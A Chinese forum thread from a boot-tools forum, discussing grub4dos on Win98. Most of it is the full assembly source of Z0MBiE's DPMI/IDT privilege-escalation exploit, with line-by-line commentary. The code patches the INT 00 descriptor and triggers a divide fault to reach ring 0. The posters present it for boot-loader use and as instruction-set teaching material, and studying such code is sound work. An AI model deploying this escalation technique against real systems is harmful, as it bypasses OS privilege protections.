我们知道，著名的 CIH 病毒的作者就是一个高手。他能够在 Win98 之下获取 CPU 最高权限（ ring 0 权限），从而不受任何约束地执行自己的代码。这个获取 ring 0 权限的代码，我估计现在还能够从网上找到。除此之外，网上还能找到另外一个牛人，名叫 Z0MBiE，他有个主页：

https://z0mbie.dreamhosters.com/

里面有很多代码和文章。有人把他的代码和文章收集起来，保存在这里：

https://github.com/lwerdna/z0mbie.host.sk

他能用多种方法从 win98 获取 ring0 权限。

我们利用这个技术，就可以让 grub.exe 从 win98 下运行，进入实模式，然后再执行 grub4dos 的其他命令。

如果说在 win98 之下运行 grub.exe 的意义不大的话，那么，下面这个应该算是有实在意义的：获取 ring 0 权限后，磁盘仿真代码能够顺利读取（或写入）4G 以上的高位内存，这样，--top 的问题就解决了。

作者: 窄口牛 时间: 2023-10-12 08:40

dayeye 发表于 2023-10-11 22:45
ACER 4750G,10G内存，实机安装win98。map --mem --top 的2375M的fd盘可以格式化完成使用。格式化时间很长， ...

大内存补丁后就能了。系统内认到3.5g，实际可能会用的就2g。

作者: 不点 时间: 2023-10-14 08:24
本帖最后由不点于 2023-10-14 12:30 编辑

理解、分析一下 Z0MBiE 的从 VM86 模式获取 ring0 权限的代码。文件名是 V86_2_R0.ASM。

以下是源代码，并附上我的注解。

;  V86 -> RING0 （从 VM86 模式进入 ring0）

; this program should be executed under Win95/98
; developed under win98

程序应在 Win95/98 下运行；是在 Win98 下开发的。

; 1. start in V86, exec int3
; 2. go to PROT16/RING3 using DPMI, exec int3
; 3. go to PROT32/RING0 using DPMI/IDT hack, exec int3
; 4. back to DOS

第一步，从 VM86 模式启动，执行 int3 指令
第二步，用 DPMI 进入 16 位保护模式，ring3，执行 int3 指令
第三步，用 DPMI 并对 IDT 进行 hack，进入32位保护模式，ring0，执行 int3 指令
第四步，返回 DOS

这些 int3 指令，不起实质性作用，只是为了调试的时候，能够在此处中断。

;                                        (c) Z0MBiE/29A -- March 22, 1999

                     model tiny    （tiny 的意思就是要生成 .com 程序）
                     p386
                     locals  __
                     jumps
                     codeseg

                     org    100h
start:

                     mov    ax, 1600h    ; windows running?
                     int    2fh
                     cmp    al, 4          ; win95/98 ?
                     jne    __exit       若不是 win9x，退出

                     int 3                ; V86

                     lea    sp, endofstack  ; set own stack
                                                      设置自己的堆栈

                     mov    ah, 4ah       ; resize our memory block
                     mov    bx, memory    调整内存块大小
                     int    21h

以上代码不是实质性的，仅仅是减少本程序对内存的过多占用，因为 .com 程序默认占用 64K，有点多。

                     mov    ax, 1687h    ; DPMI - installation check
                     int    2fh       检查是否存在 DPMI
                     or    ax, ax
                     jnz    __exit       若不存在 DPMI，退出
                     ; ES:DI = DPMI mode-switch entry point
                     ; SI=memory(in par.) needed for DPMI private data

                     push es             ; init DPMI initproc
                     push di
                     pop    dpmicall 保存DPMI模式切换子程序入口

                     mov    ah, 48h       ; allocate memory
                     mov    bx, si       ; for DPMI private data
                     int    21h       为 DPMI 所需私有数据分配内存
                     jc    __exit
                     mov    es, ax       保存分配到的内存段值到ES

这额外的私有数据，有点讨厌。.com 程序运行在 DOS 下，当然可以调用 DOS 来分配内存。
然而我们假如只是在 int13 的 handler 里面运行，此时还能调用 DOS 来分配内存吗？
这是个疑问。就算能调用，将来在 int13 handler 结束时，还得记住要释放内存。
所以，安全起见，我们应该设法避免调用 DOS API 来分配内存。

                     xor    ax, ax  ; flags: bit0=0 -> 16-bit program
                     call dpmicall 调用模式切换子程序
                     jc    __exit
                     ; now in protected mode (16-bit, ring3)

此时已进入 16 位保护模式，ring3 权限。

                     int 3                ; PROT16/R3

                     sidt idtr          ; read IDTR （读 “中断描述符表” 寄存器）

只有进入保护模式之后，DPMI 才会为保护模式代码生成 IDT。
这可能就是为什么需要进入保护模式的原因。

                     mov    ax, 6          ; save (get&push) ES.base
                     mov    bx, es       获取ES段的基地址
                     int    31h
                     push cx       将 ES 基地址保存在堆栈上
                     push dx

                     mov    ax, 7          ; set ES.base
                     mov    bx, es       设置 ES 段的基地址......
                     push idtr_base  ; CX:DX=newnase=IDTR.base （此处 newnase 是打字错误，应为 newbase）
                     pop    dx             ......为中断描述符表的基地址
                     pop    cx
                     int    31h

把 ES 指向中断描述符表，目的就是要修改中断描述符表。
ring3 程序可以修改中断描述符表，并进入 ring0，这应该属于 DPMI 的一个漏洞。

; by default ES points to PSP and ES.limit is 0FFh,
; so we can increase it a little w/o problems

DPMI 在默认时设置 ES 指向 PSP，段限是 0FFh（其实就是通常所说的 100h）。
所以我们可以把段限增大一点，没问题。

段限其实准备增大到中断描述符表的长度，也就是 2K。

; DPMI host is big madafucka, it dont allows you to set selectorlimit >= 2GB

去它大爷的，DPMI 服务端真该死，它不允许你设置段限为 2GB 或更多。

那就设置段限为 2K 吧，反正也够用了。

                     mov    ax, 8          ; set ES.limit
                     mov    bx, es
                     mov    cx, 0          ; CX:DX=newlimit=maxIDTlimit
                     mov    dx, 256*8-1    （这就是 2K）
                     int    31h

                     mov    ax, 0006h    ; get CS.base into CX:DX
                     mov    bx, cs
                     int    31h       获取 CS 基地址

                     add    dx, offset __ring0 ;calc lin. addr of __ring0
                     adc    cx, 0          ; [BUGFIX] was: dx
                     push cx
                     push dx
                     pop    ebp       __ring0 的线性地址放在 ebp 中

                     xchg bp, es:[0]             ; INT00 <--> __ring0
                     rol    ebp, 16
                     xchg bp, es:[6]
修改中断描述符表的int 00表项，使其指向 __ring0
                     xor    dx, dx
                     xor    cx, cx       除以零，故意制造故障或异常
                     div    cx    ;  call INT 00

除以零以后，会跳到 __ring0 处，执行 32 位保护模式的 ring0 代码（异常处理代码）。

异常处理结束后，回到这里继续运行。由于异常处理用 iret 结束，所以，

此时已经回到 16 位保护模式，ring3 权限了。

                     xchg bp, es:[6]             ; INT00 <--> __ring0
                     rol    ebp, 16
                     xchg bp, es:[0]  恢复中断描述符表原来的int00指针

                     mov    ax, 7          ; restore(pop&set) ES.base
                     mov    bx, es       恢复 ES 原来的基地址
                     pop    dx
                     pop    cx
                     int    31h

ES 段限不必恢复，大一点没关系。

__exit:                mov    ax, 4c00h    ; exit
                     int    21h

在 DPMI 的保护模式下，可以直接执行 int21h/4C00h，退出DOS。
我们在 int13 handler 里面，当然不可以这么做。

在 int13 handler 里面，此时我们必须做一个额外的工作。
我们需要从 16 位保护模式切换到 VM86 模式，
这是因为 int13 handler 本来就运行在 VM86 模式。
如果继续保持 16 位保护模式的话，
在 int13 handler 的处理全部完成、准备最后执行 iret 返回到调用者的时候，就完蛋了。

我们可以通过调用 int31h/AX=301h 来切换到 VM86 模式。这个调用的名称是：
Call Real Mode Procedure With Far Return Frame。参见

; DOS PROTECTED MODE INTERFACE(DPMI) SPECIFICATION Version 1.0
; March 12, 1991
; Application Program Interface (API) for Protected Mode DOS Applications
; © Copyright The DPMI Committee, 1989-1991.
; All rights reserved.

; http://www.sudleyplace.com/dpmione/dpmispec1.0.pdf

调用之后，我们不要用 RETF 指令返回到保护模式。因为我们的目的只是进入 VM86 模式而已。

既然访问高位内存的工作已经完成，
此刻我们需要跳转到（或返回到） int13 handler 的某个合适的地方，这样就平滑过渡到了原来的流程，继续运行。

__ring0:             int 3                ; PROT32/R0

                     inc    cx ; inc ecx (!)
这条指令让 CX 不再是 0，保证 “除以零” 这个故障不会反复发生，而只发生一次。
这是因为，新型 CPU 把 “除以零” 作为故障，而故障的处理程序在 iret 结束后，
会再次跳到（返回到）出现故障的这条指令，重复执行一次。
也就是说，如果此时 CX 仍然是零，那么，故障将再次触发，
这样，就会无限循环，死机。

我们的 ring0 代码，应该插入这里。

此刻处于 32 位保护模式，ring0 权限。

我们的 ring0 代码需要进入 long 模式，
访问 4G 以上高位内存中的扇区数据，
然后再回到 32 位保护模式。

                     iret

这条 iret 会返回到先前的 16 位保护模式（ring3）代码中。

; ---------------------------------------------------------------------------

dpmicall             dd    ?

idtr                   label fword
idtr_limit             dw    ?
idtr_base             dd    ?

                     even
                     db    1024 dup (?)
endofstack:

memory                equ    ($-start+256+15)/16

                     end    start

作者: 无犹启动 时间: 2023-10-14 12:58
谢谢分享

作者: 不点 时间: 2023-10-14 14:30
前面的帖子，是说可以参考 Z0MBiE 的代码，利用 DPMI 的漏洞获取 ring0 权限从而进入 long 模式，实现高位内存的访问。

如果不利用漏洞，而是想办法给 Win9x 的 VMM（虚拟机管理器，或虚拟机监控器）打补丁，让它能够访问高位内存，那就更好。当然了，这就相当于写一个 VxD 驱动程序了，甚至比写 VxD 还要难，因为我们无法获得 VMM 的源代码，只能靠反汇编。为 VMM 打补丁就是给它增加一个 int 功能调用，类似于 int15h/87h，但能够访问 4G 以上的高位内存。然后让 grub4dos 的 int13 handler 调用它即可。

能够运行 win98 的硬件，已经消失殆尽了。所以，以上提到的这些代码和方法，也都没什么实际价值。它仅有的价值，大概也只是作为教学的材料，用来练习 intel cpu 的汇编指令。一个有漏洞的 Win98，也不可能成为人们普遍采纳的、主流的操作系统。就是说，在未来，整个 Win98 系统，主要的用途，大概也只是作为一个 intel CPU 指令集的实验教材。前面提到的这些方法，如果你通过学习，能够成功实现，那么，你对于 intel 指令集的学习（就好比说，这是一道闯关题），就算是过关了。

作者: 无犹启动 时间: 2024-2-26 21:10
谢谢分享

欢迎光临无忧启动论坛 (http://wuyou.net/)